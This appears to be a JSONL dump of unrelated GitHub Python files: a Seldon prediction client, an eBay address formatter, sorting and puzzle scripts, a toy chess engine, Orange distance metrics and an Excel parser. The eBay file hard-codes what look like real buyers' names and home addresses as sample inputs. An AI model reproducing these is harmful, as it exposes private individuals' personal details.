+{"seq_id":"18467475360","text":"import sys\nfrom skimage import io\nimport matplotlib.pyplot as plt\nfrom seldon_core.seldon_client import SeldonClient\n\n\nif __name__ == '__main__':\n seldon_ip = sys.argv[1]\n image = io.imread(\"dog.png\")\n\n sc = SeldonClient(deployment_name=\"dogcat-deploy\", namespace=\"seldon\", gateway_endpoint=f\"{seldon_ip}:80\", gateway=\"istio\")\n out = sc.predict(transport=\"rest\", data=image)\n\n if out.success:\n res = out.response['data']['ndarray'][0]\n plt.imshow(image)\n plt.title(f\"Prediction: {res}\")\n plt.show()\n","repo_name":"determined-ai/works-with-determined","sub_path":"pachyderm-seldon/seldon/predict_web.py","file_name":"predict_web.py","file_ext":"py","file_size_in_byte":542,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"53"}
+{"seq_id":"18443843752","text":"'''\nCreated on 8 Mar 2020\n\n@author: Manjula Silva\n'''\nfrom PyQt5.QtWidgets import QWidget, QLabel, QTextEdit\nfrom PyQt5.QtGui import QIcon, QPixmap\nfrom pxData import create_Street_Abbreviations\nimport win32clipboard\nimport webbrowser, sys\n\n\n# Functions .............................................................\n\ndef formatState(tState):\n strState = \"STATE\"\n if tState == \"VIC\" or tState == \"NSW\" or tState == \"QLD\" or tState == \"SA\" or tState == \"TAS\" or tState == \"WA\" or tState == \"NT\":\n strState = tState\n elif tState == \"VICTORIA\":\n strState = \"VIC\"\n elif tState == \"NEW SOUTH WALES\":\n strState = \"NSW\"\n elif tState == \"QUEENSLAND\":\n strState = \"QLD\"\n elif tState == \"SOUTH AUSTRALIA\":\n strState = \"SA\"\n elif tState == \"TASMANIA\":\n strState = \"TAS\"\n elif tState == \"WESTERN AUSTRALIA\":\n strState = \"WA\"\n elif tState == \"NOTHERN TERRETORY\":\n strState = \"NT\"\n elif tState == \"ACT\":\n strState = \"ACT\"\n else:\n strState = \"UNKNOWN STATE\"\n \n return strState\n\n \ndef pasteClipboard_To_InputAddressBox(tBox,vAddressOption):\n \n\n print(vAddressOption)\n \n if vAddressOption == 'Clipboard' : \n win32clipboard.OpenClipboard()\n vDataFromClipboard = win32clipboard.GetClipboardData()\n win32clipboard.CloseClipboard()\n tBox.setText(vDataFromClipboard) \n \n if vAddressOption == 'House Address' :\n tBox.setText(\"glenna hall\")\n tBox.append(\"ebay:bp36lbs\")\n tBox.append(\"10 banksia crescent\")\n tBox.append(\"EAST DEVONPORT TAS 7310\")\n \n if vAddressOption == 'Unit Address' :\n tBox.setText(\"aleksandra kirjanova\")\n tBox.append(\"ebay:bp36lbs\")\n tBox.append(\"unit 4, 122 Arthur st\")\n tBox.append(\"surry hills NSW 2010\")\n \n if vAddressOption == 'PO BOX Address' :\n tBox.setText(\"Jules Rayner\")\n tBox.append(\"ebay:bp36lbs\")\n tBox.append(\"PO BOX 5085\")\n tBox.append(\"ALICE SPRINGS NT 0871\")\n \n if vAddressOption == 'CnC Address' :\n tBox.setText(\"Jessica Reader\")\n tBox.append(\"CnC Woolworths Toongabbie\")\n tBox.append(\"eCP:PKCCDUGB 17 - 19 Aurelia St\")\n tBox.append(\"Toongabbie NSW 2146\")\n\n\ndef cmdCopyNewAddress(vOutPutBox):\n print(\" .......... Copy New Address ..........\")\n vNewAddress = vOutPutBox.toPlainText() #This is not ideal...\n print(vNewAddress)\n win32clipboard.OpenClipboard()\n win32clipboard.EmptyClipboard()\n win32clipboard.SetClipboardText(vNewAddress)\n win32clipboard.CloseClipboard()\n\n \ndef doGoogleAddressSearch(vAddressToSearch):\n print('google :' + vAddressToSearch)\n url_part1 = \"http://google.com/?q=\"\n #url_part1 = 'https://www.google.com/maps/place/'\n webbrowser.open(url_part1 + vAddressToSearch)\n\n\ndef getAddressType(pInputAddress):\n arrAddress = pInputAddress.splitlines()\n iNumberOfLines = len(arrAddress)\n print('address line count :' + str(iNumberOfLines))\n print('address line count :' )\n vAddressLine1 = arrAddress[2] # get 2nd address line this for Simple, Complex or PO Box types\n vAddressLineCnC1 = arrAddress[1] # get 2nd line just in case Click and collect type\n vAddressLineCnC2 = arrAddress[2] # get 2nd line just in case Click and collect type\n \n vAddressType = 'Unidentified'\n str1 = \"p\"\n str2 = \"o\"\n str3 = \"box\"\n \n vAddressLine1 = vAddressLine1.lower()\n iLocation1 = vAddressLine1.find(str1)\n iLocation2 = vAddressLine1.find(str2)\n iLocation3 = vAddressLine1.find(str3)\n \n str4 = 'shop'\n str5 = 'level'\n str6 = 'lvl'\n \n iLocation4 = vAddressLine1.find(str4)\n iLocation5 = vAddressLine1.find(str5)\n iLocation6 = vAddressLine1.find(str6)\n \n \n print(iLocation4,iLocation5,iLocation6)\n \n str7 = 'CnC'\n str8 = 'eCP'\n iLocation7 = vAddressLineCnC1.find(str7)\n iLocation8 = vAddressLineCnC2.find(str8)\n \n if iNumberOfLines < 4:\n vAddressType = 'AddressNotInRightFormat'\n elif iLocation3 != -1:\n if iLocation1 != -1 and iLocation2 != -1:\n if iLocation1 < iLocation2:\n vAddressType = 'PO_BOX'\n elif ( iLocation7 > -1 and iLocation8 > -1 ):\n vAddressType = 'CnC'\n elif ( iLocation4 > -1 or iLocation5 > -1 or iLocation6 > -1):\n vAddressType = 'Complex_Address_ShopOrHighRise' \n else:\n vAddressType=\"Simple_House_Address\" \n \n print('address type identified :' + vAddressType)\n return vAddressType\n\n\n\n\n\n\n\n\n\ndef getBuyersNameAndAddress_in_Simple_House_Address_Format(pInputBoxText): \n vError_Details = vBuyerName = vAddressLine1 = vAddressLine2 = ''\n \n #vBuyerName = 'John White'\n #vAddressLine1 = '33 High Street'\n #vAddressLine2 = 'Mount Waverley, VIC 3155'\n \n \n \n arr_Street_Abbreviations = []\n arr_Street_Abbreviations = create_Street_Abbreviations(arr_Street_Abbreviations) # function from pxData module \n \n arrAddress = pInputBoxText.splitlines() \n # Format & Prepare Buyer's Name..................................................................\n \n vNameArray = arrAddress[0].split() #split the first line by spaces\n for vCount in vNameArray:\n vBuyerName = vBuyerName + \" \" + vCount.capitalize()\n \n vBuyerName = vBuyerName.strip()\n \n \n # Formating street address (line 2) ...........................................&&&&&&&\n \n vStreetArray = arrAddress[2].split() #split the second line by spaces\n vCapitalized_Street_Type =\"\"\n vLast = len(vStreetArray)\n vLast = vLast -1\n vCurrent_Street_Type = vStreetArray[vLast]\n vCurrent_Street_Type = vCurrent_Street_Type.lower()\n vCapitalized_Street_Type = \"\"\n \n \n IsStreetFound=False\n # Searching street type in the array column 1\n iColumn1=0\n for i in arr_Street_Abbreviations: \n if vCurrent_Street_Type == arr_Street_Abbreviations[iColumn1][0]:\n # Street TypeFound in column 1. Only Capitalization required\n #print(str(iColumn1) + \" - \" + arr_Street_Abbreviations[iColumn1][0]) >>>>>>>>>>>>>>>>>>>>2\n vCapitalized_Street_Type = vCurrent_Street_Type.capitalize()\n IsStreetFound = True\n break\n iColumn1=iColumn1+1\n \n \n # Searching street type in the array column 2\n iColumn1=0\n \n if not IsStreetFound:\n for i in arr_Street_Abbreviations:\n if vCurrent_Street_Type == arr_Street_Abbreviations[iColumn1][1]:\n # Street TypeFound in column 2. Re-wording + Capitalization required\n vCurrent_Street_Type = arr_Street_Abbreviations[iColumn1][0]\n vCapitalized_Street_Type = vCurrent_Street_Type.capitalize()\n IsStreetFound = True\n break\n iColumn1=iColumn1+1\n \n \n \n if not IsStreetFound:\n print(\" Critical WARNING !!!!!!! - Missing Street Type\" )\n vError_Details = \"ERROR : ERROR IN STREET TYPE\"\n\n \n vAddressLine1 =\"\"\n y=0\n vGap1 = \" \" # First space\n vGap2 = \" \" # Second space\n while y < vLast:\n vAddressLine1 = vAddressLine1 + vGap1 + vGap2 + vStreetArray[y].capitalize()\n y=y+1\n if y == 2:\n vGap2 ='' # Delete 2nd space\n \n vAddressLine1 = vAddressLine1 + vGap1 + vCapitalized_Street_Type\n vAddressLine1 = vAddressLine1.strip()\n \n \n # Formating SUBURB, STATE & POSTCODE (line 3) .......................................\n vSuburbArray = arrAddress[3].split() #split the first line by spaces\n vSuburb_State_Postcode_CAPS =\"\"\n vLast = len(vSuburbArray)\n vLast = vLast -1\n vPostCode = vSuburbArray[vLast]\n vLast = vLast -1\n vState = vSuburbArray[vLast]\n vState = formatState(vState)\n vSuburb =\"\"\n \n \n y=0\n while y < vLast:\n vSuburb = vSuburb + vGap1 + vSuburbArray[y].upper()\n y=y+1\n \n vSuburb_State_Postcode_CAPS = vSuburb + \", \" + vState.upper() + \" \" +vPostCode\n vSuburb_State_Postcode_CAPS = vSuburb_State_Postcode_CAPS.strip()\n vAddressLine2 = vSuburb_State_Postcode_CAPS\n \n \n return vError_Details, vBuyerName, vAddressLine1, vAddressLine2\n print('Simple_House_Address returned.........')\n \n \n \n \n \n \n \n \ndef getBuyersNameAndAddress_in_PO_BOX_Address_Format(pInputBoxText):\n \n vError_Details = vBuyerName = vAddressLine1 = vAddressLine2 = '' \n arrAddress = pInputBoxText.splitlines()\n vGap1 = \" \" # First space\n \n # Format & Prepare Buyer's Name..................................................................\n \n vNameArray = arrAddress[0].split() #split the first line by spaces\n for vCount in vNameArray:\n vBuyerName = vBuyerName + \" \" + vCount.capitalize()\n \n vBuyerName = vBuyerName.strip()\n \n \n # Formating street address (line 2) ...........................................&&&&&&&\n \n vAddressLine1 = arrAddress[2]\n vAddressLine1 = vAddressLine1.lower()\n vPO_Box_Number = ''\n iBoxLocation = vAddressLine1.find('box')\n iStartingPoint = iBoxLocation + 3\n iEndingPoint = len(vAddressLine1)\n vPO_Box_Number = vAddressLine1[iStartingPoint:iEndingPoint]\n vPO_Box_Number = vPO_Box_Number.strip()\n vAddressLine1 = 'PO Box ' + vPO_Box_Number\n \n \n # Formating SUBURB, STATE & POSTCODE (line 3) .......................................\n vSuburbArray = arrAddress[3].split() #split the first line by spaces\n vSuburb_State_Postcode_CAPS =\"\"\n vLast = len(vSuburbArray)\n vLast = vLast -1\n vPostCode = vSuburbArray[vLast]\n vLast = vLast -1\n vState = vSuburbArray[vLast]\n vState = formatState(vState)\n vSuburb =\"\"\n \n \n y=0\n while y < vLast:\n vSuburb = vSuburb + vGap1 + vSuburbArray[y].upper()\n y=y+1\n \n vSuburb_State_Postcode_CAPS = vSuburb + \", \" + vState.upper() + \" \" +vPostCode\n vSuburb_State_Postcode_CAPS = vSuburb_State_Postcode_CAPS.strip()\n vAddressLine2 = vSuburb_State_Postcode_CAPS\n \n \n return vError_Details, vBuyerName, vAddressLine1, vAddressLine2\n print('PO_BOX_Address returned.........')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ndef getBuyersNameAndAddress_in_Complex_Address_Format(pInputBoxText):\n \n vError_Details = vBuyerName = vAddressLine1 = vAddressLine2 = '' \n arrAddress = pInputBoxText.splitlines()\n vGap1 = \" \" # First space\n \n \n # Format & Prepare Buyer's Name..................................................................\n \n vNameArray = arrAddress[0].split() #split the first line by spaces\n for vCount in vNameArray:\n vBuyerName = vBuyerName + \" \" + vCount.capitalize()\n \n vBuyerName = vBuyerName.strip()\n \n \n # Formating street address (line 2) ...........................................&&&&&&&\n \n vLongAddressLine = ''\n vCurrentAddressLine = ''\n vNumOfLines_In_Address = len(arrAddress)\n vCurrent_Line = 1\n \n while vCurrent_Line < (vNumOfLines_In_Address - 1):\n vCurrentAddressLine = vCurrentAddressLine + vGap1 + arrAddress[vCurrent_Line]\n vCurrent_Line = vCurrent_Line + 1\n \n vCurrentAddressLine = vCurrentAddressLine.strip()\n vAddressArray = vCurrentAddressLine.split() #split the first line by spaces\n \n for vCount in vAddressArray:\n vLongAddressLine = vLongAddressLine + \" \" + vCount.capitalize()\n \n vLongAddressLine = vLongAddressLine.strip()\n print(vLongAddressLine)\n \n \n \n # Formating SUBURB, STATE & POSTCODE (line 3) .......................................\n vSuburbArray = arrAddress[vCurrent_Line].split() #split the first line by spaces\n vSuburb_State_Postcode_CAPS =\"\"\n vLast = len(vSuburbArray)\n vLast = vLast -1\n vPostCode = vSuburbArray[vLast]\n vLast = vLast -1\n vState = vSuburbArray[vLast]\n vState = formatState(vState)\n vSuburb =\"\"\n \n \n y=0\n while y < vLast:\n vSuburb = vSuburb + vGap1 + vSuburbArray[y].upper()\n y=y+1\n \n vSuburb_State_Postcode_CAPS = vSuburb + \", \" + vState.upper() + \" \" +vPostCode\n vSuburb_State_Postcode_CAPS = vSuburb_State_Postcode_CAPS.strip()\n vAddressLine2 = vSuburb_State_Postcode_CAPS\n \n \n return vError_Details, vBuyerName, vLongAddressLine, vAddressLine2\n print('Complex_Address returned.........')\n \n\n\n\n\n\ndef getBuyersNameAndAddress_in_CnC_Format(pInputBoxText):\n \n vError_Details = vBuyerName = vAddressLine1 = vAddressLine2 = '' \n arrAddress = pInputBoxText.splitlines()\n vGap1 = \" \" # First space\n \n \n # Format & Prepare Buyer's Name..................................................................\n \n vNameArray = arrAddress[0].split() #split the first line by spaces\n for vCount in vNameArray:\n vBuyerName = vBuyerName + \" \" + vCount.capitalize()\n \n vBuyerName = vBuyerName.strip()\n \n \n # Formating street address (line 2) ...........................................&&&&&&&\n \n vLongAddressLine = ''\n vCurrentAddressLine = ''\n vNumOfLines_In_Address = len(arrAddress)\n vCurrent_Line = 1\n \n while vCurrent_Line < (vNumOfLines_In_Address - 1):\n vCurrentAddressLine = vCurrentAddressLine + vGap1 + arrAddress[vCurrent_Line]\n vCurrent_Line = vCurrent_Line + 1\n \n vCurrentAddressLine = vCurrentAddressLine.strip() \n vLongAddressLine = vCurrentAddressLine\n print(vLongAddressLine)\n\n \n \n \n # Formating SUBURB, STATE & POSTCODE (line 3) .......................................\n vSuburbArray = arrAddress[vCurrent_Line].split() #split the first line by spaces\n vSuburb_State_Postcode_CAPS =\"\"\n vLast = len(vSuburbArray)\n vLast = vLast -1\n vPostCode = vSuburbArray[vLast]\n vLast = vLast -1\n vState = vSuburbArray[vLast]\n vState = formatState(vState)\n vSuburb =\"\"\n \n \n y=0\n while y < vLast:\n vSuburb = vSuburb + vGap1 + vSuburbArray[y].upper()\n y=y+1\n \n vSuburb_State_Postcode_CAPS = vSuburb + \", \" + vState.upper() + \" \" +vPostCode\n vSuburb_State_Postcode_CAPS = vSuburb_State_Postcode_CAPS.strip()\n vAddressLine2 = vSuburb_State_Postcode_CAPS\n \n \n return vError_Details, vBuyerName, vLongAddressLine, vAddressLine2\n print('CnC_Address returned.........') ","repo_name":"manjulasilva/eBayPrintX","sub_path":"eBay_Address_Functions.py","file_name":"eBay_Address_Functions.py","file_ext":"py","file_size_in_byte":14337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"35858879497","text":"\"\"\"\n快速排序法\n\"\"\"\n\n\ndef quick_sort(array):\n \"\"\"快速排序法\"\"\"\n return q_sort(array, 0, len(array) - 1)\n\n\ndef q_sort(array, left, right):\n if left < right:\n pivot = partition(array, left, right)\n # 左右分治\n q_sort(array, left, pivot-1)\n q_sort(array, pivot+1, right)\n return array\n\n\ndef partition(array, left, right):\n \"\"\"\n 分割函数\n :param array: 数组\n :param left: 左边的起始索引\n :param right: 右边的结束索引\n :return: 分割位置的索引\n \"\"\"\n pivot_key = array[left] # 将数组的第一个值设置为参考值\n\n while left < right:\n while left < right and array[right] >= pivot_key:\n right -= 1\n # 从右边开始找,找到比参考值小的数的时候,将右边的值赋值给左边\n array[left] = array[right]\n while left < right and array[left] <= pivot_key:\n left += 1\n # 继续从左边开始找,找到比参考值大的数的时候,将左边的值复制给右边\n array[right] = array[left]\n # 上面的步骤在赋值过程中,参考值被替换,数组中参考值没有了,将参考值赋值给左边最后的索引\n array[left] = pivot_key\n return left\n\n\nif __name__ == '__main__':\n a = [5, 9, 1, 11, 6, 7, 2, 4, 8]\n b = quick_sort(a)\n print(b)\n","repo_name":"ZhangzhiS/study_note","sub_path":"Algorithm/quick_sort.py","file_name":"quick_sort.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"21781719558","text":"n = int(input())\nfor i in range(n, 1000000):\n temp = list(str(i))\n sum_ = 0\n for j in temp:\n sum_ += int(j)\n if sum_ % 4 == 0:\n print(i)\n break\n else:\n continue\n","repo_name":"Praveen230102/Codeforces-Solution-in-Python-and-C-","sub_path":"1183A.py","file_name":"1183A.py","file_ext":"py","file_size_in_byte":204,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"7712379338","text":"while 1:\n calisma = 2\n while calisma == 2:\n veri = input(\"Üssünü almak istediğiniz tam sayıyı giriniz:\")\n try:\n sayi = int(veri)\n calisma = calisma - 1\n except ValueError:\n print(\"lütfen bir tam sayı giriniz!!!\")\n veri2 = input(\"Kaçıncı kuvvetini almak istediğinizi 0 ya da pozitif tam sayı olarak giriniz:\")\n try:\n sayi2 = int(veri2)\n calisma = calisma - 1\n except ValueError:\n print(\"lütfen pozitif bir tam sayı veya 0 giriniz!!!\")\n silah = 1\n def fonk(at,avrat,silah):\n if avrat == 0:\n return silah\n elif avrat<0:\n return \"Lütfen pozitif bir tam sayı giriniz!!!\"\n else:\n silah=silah*at\n avrat=avrat-1\n return fonk(at,avrat,silah)\n\n print(\"Sonuc:\",fonk(sayi,sayi2,silah))\n","repo_name":"furkanardic/HW_OF","sub_path":"hw1/hw_ömer/üslü sayılar 2.py","file_name":"üslü sayılar 2.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"22200299698","text":"from Piece import *\r\n\r\n\r\nclass ChessEngine:\r\n\r\n def __init__(self, game):\r\n self._game = game\r\n self._evaluationService = EvaluationService()\r\n\r\n def BestMoves(self, count):\r\n reverse = self._game.SideToPlay == Color.White\r\n result = []\r\n moves = self._game.PossibleMoves()\r\n for move in moves:\r\n result.append(MoveEvaluation(move, self._evaluateMove(move)))\r\n sortedResult = sorted(result, key=lambda move: move.Evaluation, reverse=reverse)\r\n return sortedResult[:count]\r\n\r\n def _evaluateMove(self, move):\r\n self._game.ApplyMove(move)\r\n moves = self._game.PossibleMoves()\r\n nextEvaluations = []\r\n for nextMove in moves:\r\n self._game.ApplyMove(nextMove)\r\n nextEvaluation = self._evaluationService.Evaluate(self._game)\r\n self._game.RevertMove(nextMove)\r\n nextEvaluations.append(nextEvaluation)\r\n self._game.RevertMove(move)\r\n if self._game.SideToPlay == Color.White:\r\n return max(nextEvaluations)\r\n else:\r\n return min(nextEvaluations)\r\n\r\n\r\nclass MoveEvaluation:\r\n\r\n def __init__(self, move, evaluation):\r\n self.Move = move\r\n self.Evaluation = evaluation\r\n\r\n\r\nclass EvaluationService:\r\n\r\n def Evaluate(self, game):\r\n pieces = game.Pieces\r\n result = 0\r\n for piece in pieces:\r\n result += self._getPieceEvaluation(piece)\r\n return result\r\n\r\n def _getPieceEvaluation(self, piece):\r\n sign = 3 - 2 * piece.Color\r\n return sign * MaterialEvaluation.Pieces[piece.Kind]\r\n\r\n\r\nclass MaterialEvaluation:\r\n Pawn = 1.0\r\n Knight = 3.0\r\n Bishop = 3.0\r\n Rook = 4.5\r\n Queen = 9.0\r\n King = 100.0\r\n Pieces = {Kind.Pawn: Pawn, Kind.Knight: Knight, Kind.Bishop: Bishop, Kind.Rook: Rook, Kind.Queen: Queen, Kind.King: King}\r\n","repo_name":"uncas/MontyChess","sub_path":"src/ChessEngine.py","file_name":"ChessEngine.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"40034292119","text":"import numpy as np\nfrom scipy import stats\nimport sklearn.metrics as skl_metrics\n\nfrom Orange import data\nfrom Orange.misc import DistMatrix\nfrom Orange.preprocess import SklImpute\n\n__all__ = ['Euclidean', 'Manhattan', 'Cosine', 'Jaccard', 'SpearmanR',\n 'SpearmanRAbsolute', 'PearsonR', 'PearsonRAbsolute', 'Mahalanobis',\n 'MahalanobisDistance']\n\n\ndef _preprocess(table):\n \"\"\"Remove categorical attributes and impute missing values.\"\"\"\n if not len(table):\n return table\n new_domain = data.Domain(\n [a for a in table.domain.attributes if a.is_continuous],\n table.domain.class_vars,\n table.domain.metas)\n new_data = table.transform(new_domain)\n new_data = SklImpute()(new_data)\n return new_data\n\n\ndef _orange_to_numpy(x):\n \"\"\"Convert :class:`Orange.data.Table` and :class:`Orange.data.RowInstance`\n to :class:`numpy.ndarray`.\n \"\"\"\n if isinstance(x, data.Table):\n return x.X\n elif isinstance(x, data.Instance):\n return np.atleast_2d(x.x)\n elif isinstance(x, np.ndarray):\n return np.atleast_2d(x)\n else:\n return x # e.g. None\n\n\nclass Distance:\n def __call__(self, e1, e2=None, axis=1, impute=False):\n \"\"\"\n :param e1: input data instances, we calculate distances between all\n pairs\n :type e1: :class:`Orange.data.Table` or\n :class:`Orange.data.RowInstance` or :class:`numpy.ndarray`\n :param e2: optional second argument for data instances if provided,\n distances between each pair, where first item is from e1 and\n second is from e2, are calculated\n :type e2: :class:`Orange.data.Table` or\n :class:`Orange.data.RowInstance` or :class:`numpy.ndarray`\n :param axis: if axis=1 we calculate distances between rows, if axis=0\n we calculate distances between columns\n :type axis: int\n :param impute: if impute=True all NaN values in matrix are replaced\n with 0\n :type impute: bool\n :return: the matrix with distances between given examples\n :rtype: :class:`Orange.misc.distmatrix.DistMatrix`\n \"\"\"\n raise NotImplementedError(\n 'Distance is an abstract class and should not be used directly.')\n\n\nclass SklDistance(Distance):\n \"\"\"Generic scikit-learn distance.\"\"\"\n def __init__(self, metric, name, supports_sparse):\n \"\"\"\n Args:\n metric: The metric to be used for distance calculation\n name (str): Name of the distance\n supports_sparse (boolean): Whether this metric works on sparse data\n or not.\n \"\"\"\n self.metric = metric\n self.name = name\n self.supports_sparse = supports_sparse\n\n def __call__(self, e1, e2=None, axis=1, impute=False):\n x1 = _orange_to_numpy(e1)\n x2 = _orange_to_numpy(e2)\n if axis == 0:\n x1 = x1.T\n if x2 is not None:\n x2 = x2.T\n dist = skl_metrics.pairwise.pairwise_distances(\n x1, x2, metric=self.metric)\n if isinstance(e1, data.Table) or isinstance(e1, data.RowInstance):\n dist = DistMatrix(dist, e1, e2, axis)\n else:\n dist = DistMatrix(dist)\n return dist\n\nEuclidean = SklDistance('euclidean', 'Euclidean', True)\nManhattan = SklDistance('manhattan', 'Manhattan', True)\nCosine = SklDistance('cosine', 'Cosine', True)\nJaccard = SklDistance('jaccard', 'Jaccard', False)\n\n\nclass SpearmanDistance(Distance):\n \"\"\" Generic Spearman's rank correlation coefficient. \"\"\"\n def __init__(self, absolute, name):\n \"\"\"\n Constructor for Spearman's and Absolute Spearman's distances.\n\n Args:\n absolute (boolean): Whether to use absolute values or not.\n name (str): Name of the distance\n\n Returns:\n If absolute=True return Spearman's Absolute rank class else return\n Spearman's rank class.\n \"\"\"\n self.absolute = absolute\n self.name = name\n self.supports_sparse = False\n\n def __call__(self, e1, e2=None, axis=1, impute=False):\n x1 = _orange_to_numpy(e1)\n x2 = _orange_to_numpy(e2)\n if x2 is None:\n x2 = x1\n slc = len(x1) if axis == 1 else x1.shape[1]\n rho, _ = stats.spearmanr(x1, x2, axis=axis)\n if np.isnan(rho).any() and impute:\n rho = np.nan_to_num(rho)\n if self.absolute:\n dist = (1. - np.abs(rho)) / 2.\n else:\n dist = (1. - rho) / 2.\n if isinstance(dist, np.float):\n dist = np.array([[dist]])\n elif isinstance(dist, np.ndarray):\n dist = dist[:slc, slc:]\n if isinstance(e1, data.Table) or isinstance(e1, data.RowInstance):\n dist = DistMatrix(dist, e1, e2, axis)\n else:\n dist = DistMatrix(dist)\n return dist\n\nSpearmanR = SpearmanDistance(absolute=False, name='Spearman')\nSpearmanRAbsolute = SpearmanDistance(absolute=True, name='Spearman absolute')\n\n\nclass PearsonDistance(Distance):\n \"\"\" Generic Pearson's rank correlation coefficient. \"\"\"\n def __init__(self, absolute, name):\n \"\"\"\n Constructor for Pearson's and Absolute Pearson's distances.\n\n Args:\n absolute (boolean): Whether to use absolute values or not.\n name (str): Name of the distance\n\n Returns:\n If absolute=True return Pearson's Absolute rank class else return\n Pearson's rank class.\n \"\"\"\n self.absolute = absolute\n self.name = name\n self.supports_sparse = False\n\n def __call__(self, e1, e2=None, axis=1, impute=False):\n x1 = _orange_to_numpy(e1)\n x2 = _orange_to_numpy(e2)\n if x2 is None:\n x2 = x1\n if axis == 0:\n x1 = x1.T\n x2 = x2.T\n rho = np.array([[stats.pearsonr(i, j)[0] for j in x2] for i in x1])\n if np.isnan(rho).any() and impute:\n rho = np.nan_to_num(rho)\n if self.absolute:\n dist = (1. - np.abs(rho)) / 2.\n else:\n dist = (1. - rho) / 2.\n if isinstance(e1, data.Table) or isinstance(e1, data.RowInstance):\n dist = DistMatrix(dist, e1, e2, axis)\n else:\n dist = DistMatrix(dist)\n return dist\n\nPearsonR = PearsonDistance(absolute=False, name='Pearson')\nPearsonRAbsolute = PearsonDistance(absolute=True, name='Pearson absolute')\n\n\nclass MahalanobisDistance(Distance):\n \"\"\"Mahalanobis distance.\"\"\"\n def __init__(self, data=None, axis=1, name='Mahalanobis'):\n self.name = name\n self.supports_sparse = False\n self.axis = None\n self.VI = None\n if data is not None:\n self.fit(data, axis)\n\n def fit(self, data, axis=1):\n \"\"\"\n Compute the covariance matrix needed for calculating distances.\n\n Args:\n data: The dataset used for calculating covariances.\n axis: If axis=1 we calculate distances between rows, if axis=0 we\n calculate distances between columns.\n \"\"\"\n x = _orange_to_numpy(data)\n if axis == 0:\n x = x.T\n self.axis = axis\n try:\n c = np.cov(x.T)\n except:\n raise MemoryError(\"Covariance matrix is too large.\")\n try:\n self.VI = np.linalg.inv(c)\n except:\n raise ValueError(\"Computation of inverse covariance matrix failed.\")\n\n def __call__(self, e1, e2=None, axis=None, impute=False):\n assert self.VI is not None, \\\n \"Mahalanobis distance must be initialized with the fit() method.\"\n\n x1 = _orange_to_numpy(e1)\n x2 = _orange_to_numpy(e2)\n\n if axis is not None:\n assert axis == self.axis, \\\n \"Axis must match its value at initialization.\"\n if self.axis == 0:\n x1 = x1.T\n if x2 is not None:\n x2 = x2.T\n if not x1.shape[1] == self.VI.shape[0] or \\\n x2 is not None and not x2.shape[1] == self.VI.shape[0]:\n raise ValueError('Incorrect number of features.')\n\n dist = skl_metrics.pairwise.pairwise_distances(\n x1, x2, metric='mahalanobis', VI=self.VI)\n if np.isnan(dist).any() and impute:\n dist = np.nan_to_num(dist)\n if isinstance(e1, data.Table) or isinstance(e1, data.RowInstance):\n dist = DistMatrix(dist, e1, e2, self.axis)\n else:\n dist = DistMatrix(dist)\n return dist\n\n\n# Only retain this to raise errors on use. Remove in some future version.\nclass __MahalanobisDistanceError(MahalanobisDistance):\n def _raise_error(self, *args, **kwargs):\n raise RuntimeError(\n \"Invalid use of MahalanobisDistance.\\n\"\n \"Create a new MahalanobisDistance instance first, e.g.\\n\"\n \">>> metric = MahalanobisDistance(data)\\n\"\n \">>> dist = metric(data)\"\n )\n fit = _raise_error\n __call__ = _raise_error\nMahalanobis = __MahalanobisDistanceError()\n","repo_name":"jiajunhua/orange3_474833","sub_path":"Orange/distance/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9097,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"42077102431","text":"from application.files.parsers import ParseError\n\nimport datetime\nimport logging\nimport pytz\nimport xlrd\n\n\nclass ExcelError(ParseError):\n\n def __init__(self, description):\n self.description = description\n\n def __eq__(self, other):\n return isinstance(other, self.__class__) \\\n and self.description == other.description\n\n def __ne__(self, other):\n return not self.__eq__(other)\n\nEXCEL_ERROR = ExcelError(\"error in cell\")\n\n\ndef is_excel(incoming_data):\n matches_excel = False\n try:\n book = xlrd.open_workbook(file_contents=incoming_data.read())\n book.sheet_by_index(0)\n matches_excel = True\n except xlrd.XLRDError:\n logging.warning('File is not an excel spreadsheet')\n\n incoming_data.seek(0)\n return matches_excel\n\n\ndef parse_excel(incoming_data):\n book = xlrd.open_workbook(file_contents=incoming_data.read())\n\n return _extract_rows(book.sheet_by_index(0), book)\n\n\ndef _extract_rows(sheet, book):\n return [_extract_values(sheet.row(i), book) for i in range(sheet.nrows)]\n\n\ndef _extract_values(row, book):\n return [_extract_cell_value(cell, book) for cell in row]\n\n\ndef _extract_cell_value(cell, book):\n value = None\n if cell.ctype == xlrd.XL_CELL_DATE:\n time_tuple = xlrd.xldate_as_tuple(cell.value, book.datemode)\n dt = datetime.datetime(*time_tuple)\n value = dt.replace(tzinfo=pytz.UTC).isoformat()\n elif cell.ctype == xlrd.XL_CELL_NUMBER:\n value = cell.value\n if value == int(value):\n value = int(value)\n elif cell.ctype == xlrd.XL_CELL_EMPTY:\n value = None\n elif cell.ctype == xlrd.XL_CELL_ERROR:\n logging.warn(\"Encountered errors in cells when parsing excel file\")\n value = EXCEL_ERROR\n else:\n value = cell.value\n\n return value\n","repo_name":"alphagov/performanceplatform-admin","sub_path":"application/files/parsers/excel.py","file_name":"excel.py","file_ext":"py","file_size_in_byte":1822,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
